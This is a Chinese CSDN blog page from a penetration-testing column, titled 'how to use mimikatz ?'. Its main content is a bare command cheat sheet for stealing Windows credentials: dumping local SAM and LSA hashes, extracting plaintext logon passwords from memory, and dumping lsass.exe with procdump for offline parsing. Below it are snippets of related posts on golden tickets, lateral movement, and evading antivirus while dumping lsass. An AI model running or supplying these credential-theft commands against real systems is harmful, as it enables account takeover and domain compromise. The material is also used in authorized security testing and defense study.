how to use mimikatz ?

最新推荐文章于 2024-05-11 15:00:00 发布
最新推荐文章于 2024-05-11 15:00:00 发布
阅读量185 收藏
点赞数
分类专栏： 内网渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_20307987/article/details/79450528
版权

(1) Get Local User’s Hash
privilege::debug
lsadump::lsa /inject
(2) Get memory password
privilege::debug
sekurlsa::logonPasswords
(3) use lsass.dmp to crack password
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full” exit
(4) ExportLocalUsersHash
mimikatz.exe “privilege::debug” “token::elevate” “lsadump::sam” exit

R_1v3r
关注
专栏目录
域权限维持—黄金票据和白金票据
lza20001103的博客
09-26 1358
黄金票据和白金票据 前言 某老哥的一次面试里问到了这个问题，故来做一番了解 该攻击方式在BlackHat 2014被提出，演讲者为Alva Duckwall & Benjamin Delpy（@gentilkiwi)进行了演示，该演讲提出了Kerberos协议实现过程中的设计逻辑缺陷，也就是说Windows所有使用Kerberos的场景中都可以进行此类攻击 一、Kerberos协议 首先了解下Kerberos协议，windows域认证常用协议，也是黄金票据和白银票据的攻击场景 大致流程如下：
红队专题-内网横向-工作组Workgroup与 Domain Active Directory域渗透
aming小老弟
12-21 1285
通过使用活动目录，管理员能够中心化、批量地更新和管理操作系统、应用、用户以及对数据的访问，而用户和管理员也能很容易地获取这些信息。而且因为活动目录具备中心化的管理能力，攻击者一旦获得域管理员权限，即可控制域内所有用户和主机，因此活动目录域环境也备受攻击者青睐。实际上LSA保护不能抵御这些攻击，它只会让你在执行这些攻击前，需要做一些额外的操作，让攻击变得更加困难一些。此功能基于PPL技术，它是一种纵深防御的安全功能，旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。
内网渗透中的mimikatz
citelao的博客
03-21 3552
内网渗透中的mimikatz 三好学生 · 2015/07/31 10:30 0x00 前言 上篇测试了中间人攻击利用框架bettercap，这次挑选一款更具代表性的工具——mimikatz 0x01 简介 mimikatz，很多人称之为密码抓取神器，但在内网渗透中，远不止这么简单 0x02 测试环境 网络资源管理模式： 域 已有资源： 域内一台主机权
Mimikatz使用
qq_46804551的博客
04-04 741
简介 Mimikatz 是一款功能强大的轻量级调试神器，通过它你可以提升进程权限注入进程读取进程内存，当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码， lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略，通常我们在登陆系统时输入密码之后，密码便会储存在 lsass内存中，经过其 wdigest 和 tspkg 两个模块调用后，对其使用可逆的算法进行加密并存储在内存之中， 而 mimikatz 正是通过对lsass逆算获取到明文密码！也就是说只要
域横向移动分析
qq_38675102的博客
12-31 907
windwos内网横移学习笔记
mimikatz的使用
这是笔者初学时所做的笔记，有错误的地方太多了，有些结论也只是笔者的一家之言。请自行判断
08-15 3万+
mimikatz的下载地址 ， 提取码是 kcuh mimikatz是个好东西，它的功能很多，最重要的是能获取windows的账号及明文密码 使用方法： 1：远程连接使用 控制远程的服务器后，‘帮助’对方下载mimikatz，然后以管理员身份运行 privilege::debug 提取权限 sekurlsa::logonpasswords 抓取密码 这里抓到了administrator的账号，密码是null，说明没设密码 注意： 1、 文件夹里有两个版本，一个是对应32位系统的，一个是64位系
内网安全之：Windows 密码抓取
f_carey的博客
11-14 4076
郑重声明： 本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。 Windows 密码抓取 1 mimikatz 抓取密码 注：在 Windows 系统中抓取 NTLM Hash 值或明文密码，必须将权限提升到 System；lsass.exe 进程用于实现 Windows 的安全策略。 利用通过 SAM 和 System 文件获得 NTLM Hash gentilkiw.
Pentest - Mimikatz
Nixawk
09-12 7347
Active Directory supports two primary authentication protoc ols, NTLM and Kerberos. Modern Windows versions default to Kerberos authentication. NTLM suffers from two main weaknesses: 1) the NTLM pass
内网渗透之某后渗透利用【网络安全】
kali_Ma的博客
03-23 3416
主要原理是在 Windows 系统中用户登录后系统会将身份凭证存储于lsass.exe进程的内存当中，Mimikatz 通过注入lsass.exe进程读取进程内存，从中获取对应的明文密码。
Windows密码破解常见手段
2301_80127209的博客
05-11 1263
值得一提的是，这个项目能过windows defender 进行dump lsass内存，且只把相关的内容给dump下来，非常的香！申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。这也是github上面的项目，很热乎，刚提交不交，被我无意间发现了，这就是个宝藏。
【渗透测试笔记】之【内网渗透——Windows系统散列值获取与防范】
AA8j的博客
07-26 509
拓扑图 Windows系统散列值获取与防范 1.通过CS模块获取用户凭证信息 在获取到目标主机权限后，我们可以抓取hash和dump明文密码，这两项功能都需要管理员权限，如果权限不足，先要进行提权操作。 抓取密码哈希：右键被控主机 —> Access —> Dump Hashes [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iBCl8Ihj-1627176965164)(images/2021-07-20-16-09-45.png)] [外链图片转存失败,
mimikazi教程
tomyyyyy
08-24 2086
目录mimikazi教程1、简介1.1、背景介绍1.2、官方链接1.3、mimikatz 与凭证2、基本使用2.1、常用命令2.2、远程连接使用2.3、本地使用2.4、读取域控成员Hash2.4.1、域控本地读取2.4.2、导出域成员Hash2.4.3、secretsdump脚本直接导出域hash2.5、哈希传递2.5.1、工作组环境2.5.2 域环境2.6 票据传递攻击(PTT)2.6.1 黄...
c++封装exe_渗透基础——从lsass.exe进程导出凭据
weixin_39900437的博客
11-28 381
0x00 前言本文将要结合自己的经验，介绍不同环境下从lsass.exe进程导出凭据的方法，结合利用思路，给出防御建议。 0x01 简介本文将要介绍以下内容：·从lsass.exe进程导出凭据的常用方法。·限制上传文件长度时导出凭据的方法。· 限制下载文件长度时导出凭据的方法。 0x02 从lsass.exe进程导出凭据的常用方法1.使用mimikatz直接导出凭据直接从lsass...
windows用户密码破解
qq_45927819的博客
03-03 1万+
文章目录一、hash简介二、Windows系统下的hash密码格式三、windows hash抓取1、通过SAM文件+mimikatz读取密码2、mimikatz3、procdump64+mimikatz4、QuarksPwDump5、wce四、利用Hash远程登录系统 一、hash简介 Hash主要用于信息安全领域中加密算法，渗透测试中获取目标系统的明文或Hash往往是整个渗透测试过程中重要的一环。在Windows系统中本机用户的密码Hash是放在本地的SAM文件里面，域内用户的密码Hash是存在域控的N
内网渗透中mimikatz的使用
pyphrb的博客
07-28 4万+
0x01 简介mimikatz，很多人称之为密码抓取神器，但在内网渗透中，远不止这么简单0x02 测试环境网络资源管理模式：域 已有资源：域内一台主机权限 操作系统：win7 x64 域权限:普通用户0x03 测试目标1、获得域控权限 2、导出所有用户口令 3、维持域控权限0x04 测试过程1、获取本机信息mimikatz：privilege::debug sekurlsa::logonpas
利用procdump+Mimikatz 绕过杀软获取Windows明文密码
冷风
09-30 2万+
Mimikatz现在已经内置在Metasploit’s meterpreter里面，我们可以通过meterpreter下载。但是你如果觉得还要考虑杀毒软件，绑定payload之类的东西太过复杂，我们可以有更好的办法，只需要在自己的电脑上运行Mimikatz alpha(地址)版本,然后处理dump的LSASS进程内存文件就行！那么如何dump LSASS进程内存呢。可以通过以下方式：1.对于NT6
内网渗透神器（Mimikatz）——使用教程
热门推荐
W小哥
04-16 7万+
一、工具简介 Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具，本意是用来个人测试，但由于其功能强大，能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试，可以说是渗透必备工具。 二、Mimikatz命令 cls： 清屏 standard： 标准模块，基本命令 crypto： 加密相关模块 sekurlsa： 与证书相关的模块 kerberos： kerberos模块 privilege： 提权相关模块 process： 进程相关
mimikatz排查
最新发布
07-30
Mimikatz是一款小巧而强大的Windows密码提取工具，它主要用于检测和提取系统中的各种凭据信息，如SAM哈希、Lsa Secrets、TGT令牌等，通常用于安全审计、取证分析和漏洞评估场景。如果你遇到疑似Mimikatz活动的问题，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值